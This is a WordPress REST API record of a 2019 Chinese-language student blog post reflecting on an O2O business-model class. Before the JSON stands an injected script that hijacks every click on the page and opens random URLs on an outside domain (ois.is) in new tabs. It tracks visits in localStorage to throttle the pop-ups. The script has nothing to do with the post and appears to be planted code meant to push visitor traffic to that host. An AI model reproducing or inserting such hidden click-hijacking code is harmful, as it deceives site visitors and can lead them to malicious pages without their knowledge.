<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":1387,"date":"2019-01-10T00:58:01","date_gmt":"2019-01-09T16:58:01","guid":{"rendered":"http:\/\/edu.secda.info\/vain7\/?p=1387"},"modified":"2019-01-10T00:58:01","modified_gmt":"2019-01-09T16:58:01","slug":"20190110o2o%e5%95%86%e6%a5%ad%e6%a8%a1%e5%bc%8f%e5%bf%83%e5%be%97","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/vain7\/?p=1387","title":{"rendered":"20190110O2O\u5546\u696d\u6a21\u5f0f\u5fc3\u5f97"},"content":{"rendered":"<p>\u9019\u6b21\u6211\u5011\u6bd4\u8f03\u4e86\u4e09\u5bb6\u54c1\u724c\u5ee0\u5546\u7684\u5404\u9805\u512a\u7f3a\uff0c\u4e26\u5f9e\u4e2d\u627e\u51fa\u4ed6\u5011\u503c\u5f97\u5b78\u7fd2\u8ddf\u4eff\u6548\u7684\u5730\u65b9\uff0c\u4f7f\u6211\u5011\u5728\u67b6\u8a2d\u81ea\u5df1\u7684\u7db2\u7ad9\u80fd\u5920\u6709\u6240\u5e6b\u52a9\u3002\u5728\u5206\u6790\u7684\u904e\u7a0b\u4e2d\uff0c\u6211\u4e5f\u767c\u73fe\u539f\u4f86\u8981\u7d93\u71df\u4e00\u500b\u54c1\u724c\u9700\u8981\u9867\u616e\u5230\u5f88\u591a\u5f88\u591a\u7684\u9762\u5411\uff0c\u8209\u51e1\u6700\u7d30\u5fae\u7684\u7db2\u7ad9\u914d\u8272\u5230\u6700\u4e3b\u8981\u7684\u7d93\u71df\u7406\u5ff5\uff0c\u90fd\u662f\u9700\u8981\u597d\u597d\u53bb\u505a\u601d\u8003\u7684\u3002\u6216\u8a31\u6700\u5f8c\u7684\u6210\u54c1\u8ddf\u60f3\u50cf\u4e2d\u3001\u8ddf\u5e02\u9762\u4e0a\u7684\u7db2\u7ad9\u76f8\u6bd4\u4e26\u975e\u90a3\u9ebc\u7684\u7cbe\u7f8e\uff0c\u4f46\u662f\u6211\u8a8d\u70ba\u9019\u5c31\u662f\u6211\u5011\u5b78\u7fd2\u9019\u5802\u8ab2\u7684\u76ee\u7684\uff0c\u8981\u8b93\u81ea\u5df1\u5b78\u7fd2\u5230\u65b0\u6280\u80fd\uff0c\u5c0d\u672a\u4f86\u80fd\u5920\u6709\u6240\u5e6b\u52a9\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u9019\u6b21\u6211\u5011\u6bd4\u8f03\u4e86\u4e09\u5bb6\u54c1\u724c\u5ee0\u5546\u7684\u5404\u9805\u512a\u7f3a\uff0c\u4e26\u5f9e\u4e2d\u627e\u51fa\u4ed6\u5011\u503c\u5f97\u5b78\u7fd2 [&hellip;]<\/p>\n","protected":false},"author":20,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/vain7\/index.php?rest_route=\/wp\/v2\/posts\/1387"}],"collection":[{"href":"https:\/\/edu.secda.info\/vain7\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/vain7\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/vain7\/index.php?rest_route=\/wp\/v2\/users\/20"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/vain7\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1387"}],"version-history":[{"count":2,"href":"https:\/\/edu.secda.info\/vain7\/index.php?rest_route=\/wp\/v2\/posts\/1387\/revisions"}],"predecessor-version":[{"id":1389,"href":"https:\/\/edu.secda.info\/vain7\/index.php?rest_route=\/wp\/v2\/posts\/1387\/revisions\/1389"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/vain7\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1387"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/vain7\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1387"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/vain7\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1387"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}